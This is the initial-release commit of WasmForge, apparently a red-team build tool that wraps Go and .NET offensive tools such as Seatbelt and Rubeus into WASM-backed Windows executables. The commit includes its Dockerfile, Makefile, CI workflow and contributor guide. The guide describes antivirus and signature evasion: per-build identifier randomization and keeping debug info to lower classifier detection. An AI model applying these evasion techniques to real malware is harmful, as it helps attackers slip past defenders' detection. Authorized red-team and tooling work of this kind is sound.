Initial Open Source Release

This commit is contained in:
Michael Weber
2026-06-16 15:10:20 -04:00
commit c9a84ed6a3
929 changed files with 1257265 additions and 0 deletions
+52
View File
@@ -0,0 +1,52 @@
# .dockerignore — keep `docker build -f Dockerfile.build` context lean.
#
# We only need:
# scripts/wasmforge-build.sh
# Everything else is mounted at runtime via -v /wasmforge:... so excluding
# from the build context speeds up `docker build` significantly.
# Build artifacts
out/
test/
testdata/
# Compiled binaries (rebuilt inside container from source)
wasmforge
wasmforge.exe
darwin_interop
dotnet-runner
gen-build-assets
gen-ghost-profile
# Git
.git
.github
# Editor / system noise
.idea
.vscode
.DS_Store
*.swp
*.swo
# Generated artifacts
*.tar.gz
*.zip
*.so
*.dylib
# Submodules and vendored deps that are mounted at runtime
wazero/
guest/
# Documentation (the entrypoint doesn't need any of it)
docs/
# Examples
examples/
# Claude scaffolding
.claude/
# Go module cache (inside container; not host)
go.sum
+43
View File
@@ -0,0 +1,43 @@
---
name: Bug report
about: Something built or ran differently than you expected
title: ""
labels: bug
---
## Summary
One or two sentences describing what went wrong.
## Reproduction
The exact `wasmforge` command (and any relevant env vars) that produced the
problem. If possible, point at a minimal guest project that reproduces.
```bash
# Example:
GOOS=windows GOARCH=amd64 ./wasmforge build --target windows ./my-broken-project
```
## Expected behavior
What you expected to see.
## Actual behavior
What actually happened. Include the error message, panic, or output diff.
Use a fenced code block.
## Environment
* `wasmforge version`:
* `go version`:
* Host OS + arch:
* Target `GOOS`/`GOARCH`:
* `.NET` SDK version (if applicable):
* Built via Docker, or natively?
## Additional context
Anything else that might help — links to similar issues, hunches about the
cause, screenshots if the failure is visible in a debugger.
+5
View File
@@ -0,0 +1,5 @@
blank_issues_enabled: false
contact_links:
- name: Question or design discussion
url: https://github.com/praetorian-inc/wasmforge/discussions
about: Use Discussions for questions, design ideas, and integration help.
+26
View File
@@ -0,0 +1,26 @@
---
name: Feature request
about: Propose a new capability or API
title: ""
labels: enhancement
---
## Problem
What are you trying to do that's currently awkward or impossible? Concrete
example use case helps.
## Proposed solution
What change to wasmforge would solve it? Sketch the CLI flag, host function,
or guest API you have in mind. Pseudocode is fine.
## Alternatives considered
Other approaches you thought about and why they're worse. "Doing nothing"
is a valid alternative — explain the cost of doing nothing.
## Additional context
Links to related issues, prior art in other tools, references to the
literature, etc.
+26
View File
@@ -0,0 +1,26 @@
# Summary
What does this PR change? One short paragraph.
## Motivation
Why are we making this change? Link to the issue, the bug, the use case, or
the design discussion that prompted it. "Why" is more important than "what."
## Test plan
- [ ] `go vet ./...` is clean
- [ ] `go test ./...` passes
- [ ] If touching the build pipeline: I rebuilt `internal/build/build_assets.tar.gz` (`make generate`) and verified distribution-mode builds still work
- [ ] If touching `internal/hostmod/`: I ran the relevant `testdata/` programs end-to-end
- [ ] If touching guest libraries (`guest/win32`, `guest/darwin`, `guest/rawnet`): I ran the relevant `testdata/` programs end-to-end
- [ ] If touching docs: I previewed the markdown rendering
## Related issues
Link to any GitHub Issues, Discussions, or external references.
## Notes for reviewers
Anything reviewers should pay extra attention to — a specific subtle change,
a known follow-up, a tradeoff you'd like a second opinion on.
+90
View File
@@ -0,0 +1,90 @@
name: Release
on:
push:
tags:
- 'v*'
permissions:
contents: write
jobs:
generate-assets:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: '1.25.3'
cache-dependency-path: go.sum
- name: Generate build assets
env:
GOWORK: 'off'
run: go run ./cmd/gen-build-assets
- uses: actions/upload-artifact@v4
with:
name: build-assets
path: internal/build/build_assets.tar.gz
build:
needs: generate-assets
runs-on: ubuntu-latest
strategy:
matrix:
include:
- goos: windows
goarch: amd64
ext: .exe
- goos: linux
goarch: amd64
ext: ''
- goos: darwin
goarch: amd64
ext: ''
- goos: darwin
goarch: arm64
ext: ''
steps:
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v5
with:
go-version: '1.25.3'
cache-dependency-path: go.sum
- name: Download build assets
uses: actions/download-artifact@v4
with:
name: build-assets
path: internal/build
- name: Build
env:
GOOS: ${{ matrix.goos }}
GOARCH: ${{ matrix.goarch }}
CGO_ENABLED: '0'
GOWORK: 'off'
run: go build -trimpath -o wasmforge-${{ matrix.goos }}-${{ matrix.goarch }}${{ matrix.ext }} ./cmd/wasmforge
- uses: actions/upload-artifact@v4
with:
name: wasmforge-${{ matrix.goos }}-${{ matrix.goarch }}
path: wasmforge-${{ matrix.goos }}-${{ matrix.goarch }}${{ matrix.ext }}
release:
needs: build
runs-on: ubuntu-latest
steps:
- uses: actions/download-artifact@v4
with:
merge-multiple: true
- uses: softprops/action-gh-release@v2
with:
files: |
wasmforge-*
generate_release_notes: true
+45
View File
@@ -0,0 +1,45 @@
# Compiled binaries
/wasmforge
*.exe
*.wasm
# Build cache
.wasmforge/
# OS files
.DS_Store
Thumbs.db
# IDE
.vscode/
.idea/
# Claude workspace
.claude/
docs/plans/
test/.claude/
# Internal-only mirror (engagement / lab / planning artifacts kept locally,
# never published). See docs/internals/ for what is intentionally public.
.praetorian-internal/
# Empty dirs
template/
# Auto-generated build assets (run 'go generate ./internal/build/' or 'make' to regenerate)
internal/build/build_assets.tar.gz
# Build artifacts (executables without extension)
/dotnet-runner
/gen-ghost-profile
/seatbelt-wf
/wasmforge-bin
/wasmforge-linux
/darwin_interop
/gen-build-assets
/icmpping
/nested_wasm_compiler
/test_fdset
# Test ghost profiles (regenerated)
internal/build/ghost_profiles/*.json
+34
View File
@@ -0,0 +1,34 @@
# Code of Conduct
This project adopts the [Contributor Covenant, version 2.1][cc-v2.1] as its
code of conduct. The full canonical text lives at the link below; treat it
as part of this repository.
[cc-v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct/
## Scope
This code of conduct applies in all project spaces — GitHub repository
discussions, issues, pull requests, and any other forums tied to WasmForge.
It also applies when an individual is representing the project in public.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the project maintainers at **community@praetorian.com**. All
complaints will be reviewed and investigated promptly and fairly.
The maintainers are obligated to respect the privacy and security of the
reporter of any incident.
## Attribution
This Code of Conduct is adapted from the
[Contributor Covenant][cc-home], version 2.1, available at
<https://www.contributor-covenant.org/version/2/1/code_of_conduct.html>.
For answers to common questions about this code of conduct, see the FAQ at
<https://www.contributor-covenant.org/faq>. Translations are available at
<https://www.contributor-covenant.org/translations>.
[cc-home]: https://www.contributor-covenant.org
+226
View File
@@ -0,0 +1,226 @@
# Contributing to WasmForge
Thanks for your interest in WasmForge. This guide covers everything a new
contributor needs to start hacking: repository layout, prerequisites, build
and test workflows, and the conventions we follow for code, commits, and
PRs.
For the deeper "how this works" reference, see [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md).
For the catalogue of every build-time environment variable, see
[docs/ENVIRONMENT.md](docs/ENVIRONMENT.md).
## Repository layout
| Path | What lives here |
|---|---|
| `cmd/wasmforge/` | The user-facing CLI (`wasmforge build`, `run`, `clean`, etc.) |
| `cmd/gen-ghost-profile/` | Tool that turns any Go binary into a `gopclntab` ghost profile |
| `cmd/gen-build-assets/` | Generates the embedded `internal/build/build_assets.tar.gz` |
| `cmd/gen-ptrmasks/` | Regenerates Win32 pointer-mask tables from win32json metadata |
| `internal/build/` | The three-stage Go pipeline (GOROOT prep, WASM compile, host embed) and the R80 stealth recipe |
| `internal/hostmod/` | 90+ host functions wazero exposes to guest code (networking, OS proxies, Win32, darwin, NativeAOT) |
| `internal/runtime/` | wazero runtime configuration and execution |
| `internal/patch/` | Stdlib + C# source patchers (AST transforms applied before compile) |
| `internal/sysshim/windows/` | `golang.org/x/sys/windows` shim for `wasip1` targets |
| `internal/names/` | Per-build identifier randomization tables |
| `internal/platform/` | Platform-specific socket handling on host |
| `internal/devtools/` | Maintainer-only diagnostic binaries (pointer-mask audit, host-export lister, live-import probe, mono runner) |
| `dotnet/` | C bridge, P/Invoke implementations, C# helpers, and assembly stubs for NativeAOT-WASI |
| `guest/` | Guest-side libraries that ship inside the guest WASM (`win32`, `darwin`, `rawnet`) |
| `examples/` | Runnable example programs — start here if you're new |
| `testdata/` | Self-verifying test programs for each host-function group |
| `test/` | Integration tests and the parity harness (`//go:build integration` gated) |
| `docs/` | User docs and the architecture reference |
| `docs/internals/` | Contributor-targeted reference docs (AST patcher, host API contract, parity harness) |
| `wazero/` | Pinned + lightly forked wazero runtime (per-build identifier randomization) |
## Prerequisites
* **Go 1.25** or later. The host binary, all `cmd/*` targets, and the
patched GOROOT all use the same Go toolchain.
* **Make** (any reasonably modern GNU/BSD make).
* If you're going to touch the C# / .NET path:
* **.NET 10 SDK** (preview / RC channel as of writing — see
`Dockerfile.build` for the exact `--quality` setting),
* **NativeAOT-LLVM** workload (`dotnet workload install wasi-experimental`),
* **WASI SDK 24** (`WASI_SDK_PATH` env var),
* the `wasm-component-ld` wrapper at `scripts/wasm-component-ld-wrapper.sh`.
For a hands-off setup, use the Docker container described in
`docs/CSHARP.md` — it bundles every C# prerequisite and pins versions.
WasmForge has been developed and tested on macOS (Intel + Apple Silicon)
and Linux x64. Cross-compiled output runs on Windows x64 and macOS, and the
toolchain itself runs on Linux/macOS hosts.
## Building wasmforge itself
Two paths, with different trade-offs:
```bash
# Quick: compile the CLI directly. Fine for development against the local
# tree. Uses live source under internal/hostmod/, internal/runtime/, etc.
go build -o wasmforge ./cmd/wasmforge
# Canonical: regenerate the embedded build_assets.tar.gz first, then build.
# This is what `make build` does. The archive snapshots internal/hostmod,
# internal/runtime, internal/names, and the wazero fork — wasmforge embeds
# it via //go:embed so distribution-mode builds (binary shipped without
# source tree) can still compile their host stage.
make build
```
If you modify anything under `internal/hostmod/`, `internal/runtime/`,
`internal/names/`, or `wazero/`, you **must** regenerate the archive
(`make generate` or `make build`) before distribution-mode builds will
reflect your changes. Development-mode builds (with the local source tree
present) are unaffected.
## Running tests
The repository ships several test surfaces; they have different prerequisites.
### Unit tests (no external deps)
```bash
go vet ./...
go test ./...
```
Unit tests for the host module, build pipeline, patchers, and devtools all
run from a fresh clone with no environment setup.
### `testdata/` end-to-end programs
Each program under `testdata/` is a self-verifying executable that prints
`PASS:` / `FAIL:` lines. Run the ones touching the area you changed:
```bash
./wasmforge build -o /tmp/test ./testdata/echo_tcp && /tmp/test
GOOS=windows GOARCH=amd64 ./wasmforge build -o /tmp/test.exe ./testdata/win32_registry
# (then run /tmp/test.exe on a Windows host)
```
### Integration + parity tests
The `test/` tree is its own Go module and is gated by
`//go:build integration` tags. Running it requires a target Windows host
that your test runner can reach. See `docs/internals/PARITY-HARNESS.md`.
Target configuration uses `WASMFORGE_PARITY_*` env vars (`_DOMAIN`, `_DC`,
`_DC_IP`, `_CA`, `_USER`). Defaults match the [GOAD (Game of Active
Directory)](https://github.com/Orange-Cyberdefense/GOAD) topology stood
up under [Ludus](https://gitlab.com/badsectorlabs/ludus) — see
`test/parity/internal/lab/lab.go` for the full list (`sevenkingdoms.local`,
`dc01.sevenkingdoms.local`, `10.3.10.10`, etc.). Tests SKIP cleanly when
the target is unreachable, so vetting on a machine with no lab works.
```bash
cd test
go vet ./...
WASMFORGE_PARITY_DOMAIN=corp.example.com \
WASMFORGE_PARITY_DC=dc01.corp.example.com \
go test -tags integration ./parity/...
```
## Adding a new host function
Host functions are how guest WebAssembly code reaches host OS APIs. The
pattern is the same for networking, OS proxies, Win32, darwin, and
NativeAOT functions.
1. Add the implementation in `internal/hostmod/`. Use platform-specific
files (`_windows.go`, `_darwin.go`, `_stub.go`) when the function maps
to a syscall not portable across hosts.
2. Register the function in the relevant `register*Functions()` body in
`module.go` (or `win32.go` / `darwin.go` for platform-scoped registries).
3. Add no-op or `ENOSYS` stubs for platforms that don't implement it. The
build tags must keep the package compilable on every supported host.
4. Add the anonymized export name in `internal/names/names.go`. Host
exports are renamed per build to defeat static signature matching.
5. Add the `//go:wasmimport env <anonymized_name>` declaration in the
matching `guest/*/imports.go`. The guest sees only the anonymized name.
6. Wrap the raw import in a high-level Go API in the guest package so
guest code never deals with raw `uintptr` or untyped errnos.
7. Add a `testdata/` program exercising the new function end-to-end.
For the contract-test side (every registered export must appear in the
`host-api-contract`), see `docs/internals/HOST-API-CONTRACT.md`
`internal/hostmod/contract_test.go` enforces it in CI.
## Adding a new guest library
1. Create the package under `guest/`.
2. Add `imports.go` containing `//go:wasmimport env <anonymized_name>`
declarations. Build-tag every file `//go:build wasip1`.
3. Add a high-level Go API that wraps the raw imports with sensible
types, errors, and lifecycle (Open/Close, etc.).
4. Document the new library in `docs/ARCHITECTURE.md` under "Guest
Libraries" and link a `testdata/` program demonstrating it.
## Compiling complex Go projects: the wasip1 stub pattern
When you compile a third-party Go project for `wasip1`, the compiler's
`relaxWindowsBuildConstraints` pass rewrites every `!windows` constraint to
`!windows && !wasip1`. Files with platform-specific implementations under
`_generic.go` / `_other.go` get excluded — and if anything references
their exported symbols, the build fails with "undefined" errors.
The fix is to provide `_wasip1.go` stub files:
1. Read the build error and identify the undefined function or type.
2. Locate the `_generic.go` / `_other.go` file that normally defines it.
3. Create a `foo_wasip1.go` sibling with stub implementations. Returning
empty values or `ErrNotSupported` is usually fine — the goal is to
satisfy the linker, not to functionally implement the platform API.
4. The compiler's collision handler will reconcile the new `_wasip1.go`
file with any existing `_windows.go` / `_generic.go` siblings
automatically.
## Code style
* `go fmt` and `go vet` must pass cleanly. CI rejects PRs that don't.
* Comments should explain **why** — the non-obvious constraint, the
surprising design choice, the workaround for a specific upstream bug.
Don't narrate **what** the code does when the code is self-explanatory.
* Avoid backwards-compatibility shims for unreleased code. We're pre-1.0;
breaking changes are fine as long as they're called out in the PR.
* Don't add `-s -w` or `-trimpath` to the embedder. WasmForge intentionally
preserves Go debug info — stripping has historically increased
detection rates from ML-based classifiers that flag stripped Go binaries
as suspicious by default. See `docs/ARCHITECTURE.md` "WASM Embedding and
AV Evasion" for the longer reasoning.
## Commits and pull requests
* **Conventional Commits**: prefix the subject line with `feat:`, `fix:`,
`chore:`, `docs:`, `refactor:`, `test:`. The body should focus on the
**why** — what motivated the change, what alternative was rejected,
what the reviewer should pay attention to.
* **One concern per PR.** Mechanical renames and behavior changes go in
separate PRs.
* **Test plan in the PR description.** Use the template at
`.github/PULL_REQUEST_TEMPLATE.md`. Check the boxes that apply; explain
what you did for the rest.
* **Don't commit submodule pointer updates** for `wazero/` unless you
explicitly intend to bump the fork. Accidental pointer bumps are the
most common source of PR conflicts.
* **CI must pass before merge.** `go vet`, `go test`, build matrix.
## Security
If you find a security issue (memory safety, sandbox escape, supply-chain
risk in the build pipeline), please don't open a public issue. See
[SECURITY.md](SECURITY.md) for the disclosure process.
## Conduct
This project follows the [Contributor Covenant 2.1](CODE_OF_CONDUCT.md).
Treat one another with respect. Disagreement is fine; harassment isn't.
## Questions
Open a [GitHub Discussion](https://github.com/praetorian-inc/wasmforge/discussions)
for design questions, integration help, or anything that isn't a bug or a
concrete feature request. Bug reports and feature requests go through the
Issue templates.
+95
View File
@@ -0,0 +1,95 @@
# Dockerfile.build — wasmforge .NET (NativeAOT-WASI) build environment.
#
# Produces a self-contained image that builds wasmforge from mounted source,
# stages a target .NET project (e.g. Seatbelt), applies patcher rules, builds
# the WASI WASM via NativeAOT-LLVM, and forges a Windows PE in one invocation.
#
# Mounts at runtime:
# /wasmforge — wasmforge source tree (read-only is fine)
# /src — target .NET project root (e.g. seatbelt-fresh)
# /out — output directory for the forged PE
# /cache — optional named volume for ~/.nuget/packages
#
# Usage:
# docker build -f Dockerfile.build -t wasmforge/build:latest .
# docker run --rm \
# -v "$PWD/wasmforge:/wasmforge:ro" \
# -v "$PWD/seatbelt-fresh:/src:ro" \
# -v "$PWD/out:/out" \
# wasmforge/build:latest seatbelt
# Pin to amd64 — WASI SDK 24 ships only x86_64 linux binaries, and the
# wasmforge build target is GOOS=windows GOARCH=amd64. On Apple silicon
# hosts Docker Desktop emulates this via Rosetta with acceptable overhead.
FROM --platform=linux/amd64 debian:bookworm-slim
# ── Base system + signing tools ────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates curl git make gcc clang \
libicu-dev zlib1g \
osslsigncode \
xz-utils \
&& rm -rf /var/lib/apt/lists/*
# ── Go toolchain ───────────────────────────────────────────────────────
ARG GO_VERSION=1.25.3
RUN curl -fsSL "https://go.dev/dl/go${GO_VERSION}.linux-amd64.tar.gz" \
| tar -xz -C /usr/local
ENV PATH="/usr/local/go/bin:/root/go/bin:${PATH}"
ENV GOPATH="/root/go"
# ── .NET SDK 10 (RC2 channel — required for NativeAOT-LLVM workload) ──
# The NativeAOT-LLVM package reference fetches the actual compiler from
# nuget at restore time; we just need the SDK to drive dotnet publish.
ENV DOTNET_ROOT="/usr/share/dotnet"
ENV PATH="${DOTNET_ROOT}:${PATH}"
ENV DOTNET_CLI_TELEMETRY_OPTOUT=1
ENV DOTNET_NOLOGO=1
RUN curl -fsSL https://dot.net/v1/dotnet-install.sh -o /tmp/dotnet-install.sh && \
chmod +x /tmp/dotnet-install.sh && \
/tmp/dotnet-install.sh --channel 10.0 --quality preview --install-dir "$DOTNET_ROOT" && \
rm /tmp/dotnet-install.sh
# ── WASI SDK 24 ────────────────────────────────────────────────────────
ARG WASI_SDK_VERSION=24
RUN curl -fsSL \
"https://github.com/WebAssembly/wasi-sdk/releases/download/wasi-sdk-${WASI_SDK_VERSION}/wasi-sdk-${WASI_SDK_VERSION}.0-x86_64-linux.tar.gz" \
| tar -xz -C /opt && \
mv "/opt/wasi-sdk-${WASI_SDK_VERSION}.0-x86_64-linux" /opt/wasi-sdk
ENV WASI_SDK_PATH=/opt/wasi-sdk
# ── wasm-component-ld wrapper ──────────────────────────────────────────
# NativeAOT-LLVM 10.0.0-rc1 invokes wasm-component-ld with --component-type
# which then tries to encode the WASM as a WASI P2 component. Our env
# imports (mod_load, fs_listdir, etc.) aren't declared in any .wit
# interface so the encoding fails with "module requires an import
# interface named `env`". The wrapper sidesteps this by:
# - stripping --component-type / --adapt / --wasm-ld-path args
# - linking pre-built pthread stubs (libPortableRuntime references
# pthread_mutex_lock etc. but NativeAOT-WASI is single-threaded)
# - exporting _start and __main_void so wasmtime/wazero can run it
#
# Preserve the original as wasm-component-ld.real for parity with how the
# WASI SDK ships its binaries.
COPY scripts/wasm-component-ld-wrapper.sh /tmp/wasm-component-ld-wrapper.sh
COPY dotnet/bridge/pthread_stubs.c /tmp/pthread_stubs.c
RUN mv "$WASI_SDK_PATH/bin/wasm-component-ld" "$WASI_SDK_PATH/bin/wasm-component-ld.real" && \
install -m 0755 /tmp/wasm-component-ld-wrapper.sh "$WASI_SDK_PATH/bin/wasm-component-ld" && \
"$WASI_SDK_PATH/bin/clang" --target=wasm32-wasip2 -c /tmp/pthread_stubs.c -o /tmp/pthread_stubs.o && \
rm /tmp/wasm-component-ld-wrapper.sh /tmp/pthread_stubs.c
# ── Entry point ────────────────────────────────────────────────────────
COPY scripts/wasmforge-build.sh /usr/local/bin/wasmforge-build.sh
RUN chmod +x /usr/local/bin/wasmforge-build.sh
# Pre-create work and out paths so the entrypoint doesn't have to.
RUN mkdir -p /work /out
WORKDIR /work
# Default entrypoint: build a project. The image can also be used as a
# generic shell (`docker run --rm -it ... bash`) by overriding entrypoint.
ENTRYPOINT ["/usr/local/bin/wasmforge-build.sh"]
# Default command shows usage if no arg given.
CMD ["--help"]
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for describing the origin of the Work and
reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Support. While redistributing the Work or
Derivative Works thereof, You may choose to offer, and charge a
fee for, acceptance of support, warranty, indemnity, or other
liability obligations and/or rights consistent with this License.
However, in accepting such obligations, You may act only on Your
own behalf and on Your sole responsibility, not on behalf of any
other Contributor, and only if You agree to indemnify, defend, and
hold each Contributor harmless for any liability incurred by, or
claims asserted against, such Contributor by reason of your accepting
any such warranty or support.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2025-2026 Praetorian Security, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+121
View File
@@ -0,0 +1,121 @@
# WasmForge Makefile
# Ensures build_assets.tar.gz is regenerated before compiling.
.DELETE_ON_ERROR:
BINARY := wasmforge
ASSETS := internal/build/build_assets.tar.gz
ASSET_SRC := internal/hostmod internal/runtime internal/names wazero
# Source files that feed into the archive.
ASSET_DEPS := $(shell find $(ASSET_SRC) \( -name '*.go' -not -name '*_test.go' \) -o -name '*.s' -o -name 'go.mod' -o -name 'go.sum' 2>/dev/null)
# Docker build environment for .NET (NativeAOT-WASI) targets — see
# Dockerfile.build for details.
DOCKER_IMAGE := wasmforge/build:latest
DOCKER_OUT_DIR ?= $(CURDIR)/out
DOCKER_SRC ?=
DOCKER_PROJECT ?= seatbelt
.PHONY: all build clean generate docker-build docker-run test-parity-seatbelt test-parity-rubeus test-parity-sharpdpapi test-parity-certify test-parity-sharpup test-parity-sharpview test-parity-all verify-ast-equivalence
all: build
# Regenerate build assets archive when source files change.
$(ASSETS): $(ASSET_DEPS)
GOWORK=off go run ./cmd/gen-build-assets
generate: $(ASSETS)
# Build wasmforge binary, regenerating assets if stale.
build: $(ASSETS)
GOWORK=off go build -trimpath -o $(BINARY) ./cmd/wasmforge
clean:
rm -f $(BINARY) $(ASSETS)
rm -rf ~/.wasmforge/cache/
# ── Docker build environment ────────────────────────────────────────────
# Builds the wasmforge/build image used for .NET (NativeAOT-WASI) targets.
# The image bundles Go 1.25.3, .NET SDK 10, WASI SDK 24, and the
# wasm-component-ld bypass wrapper required by our env imports.
docker-build:
docker build -f Dockerfile.build -t $(DOCKER_IMAGE) .
# Forge a .NET project as a Windows PE via the Docker image. Mount this
# wasmforge source tree as /wasmforge and the target project as /src.
#
# Example:
# make docker-run DOCKER_SRC=/tmp/seatbelt-fresh DOCKER_PROJECT=seatbelt
# → out/seatbelt.exe
#
# DOCKER_SRC defaults to the seatbelt-fresh dir in /tmp (the canonical
# upstream Seatbelt source tree we ship through).
docker-run:
@if [ -z "$(DOCKER_SRC)" ]; then \
echo "ERROR: DOCKER_SRC must be set, e.g. DOCKER_SRC=/tmp/seatbelt-fresh"; \
echo " (the path to the .NET project source tree on the host)"; \
exit 2; \
fi
@mkdir -p $(DOCKER_OUT_DIR)
docker run --rm \
-v "$(CURDIR):/wasmforge:ro" \
-v "$(DOCKER_SRC):/src:ro" \
-v "$(DOCKER_OUT_DIR):/out" \
$(DOCKER_IMAGE) $(DOCKER_PROJECT)
# ── Parity test harness ─────────────────────────────────────────────────
# Per-tool parity sweep: pushes the built .exe to the Win11 lab, runs each
# command listed in test/parity/<tool>/, normalizes the output, and diffs
# against the committed golden baselines under testdata/parity-baselines/.
#
# WASMFORGE_TEST_BINARY can override the default binary path.
# Tests SKIP cleanly when the lab is unreachable (not FAIL).
#
# GOWORK=off because test/ is a separate Go module (github.com/praetorian-inc/wftest)
# that is intentionally not in the parent go.work use directive.
test-parity-seatbelt:
cd test && \
WASMFORGE_TEST_BINARY=$${WASMFORGE_TEST_BINARY:-$(DOCKER_OUT_DIR)/seatbelt.exe} \
GOWORK=off go test -tags parity ./parity/seatbelt/ -v
# Per-tool parity sweep for Rubeus. Same structure as Seatbelt.
test-parity-rubeus:
cd test && \
WASMFORGE_TEST_BINARY=$${WASMFORGE_TEST_BINARY:-$(DOCKER_OUT_DIR)/rubeus.exe} \
GOWORK=off go test -tags parity ./parity/rubeus/ -v
test-parity-sharpdpapi:
cd test && \
WASMFORGE_TEST_BINARY=$${WASMFORGE_TEST_BINARY:-$(DOCKER_OUT_DIR)/sharpdpapi.exe} \
GOWORK=off go test -tags parity ./parity/sharpdpapi/ -v
test-parity-certify:
cd test && \
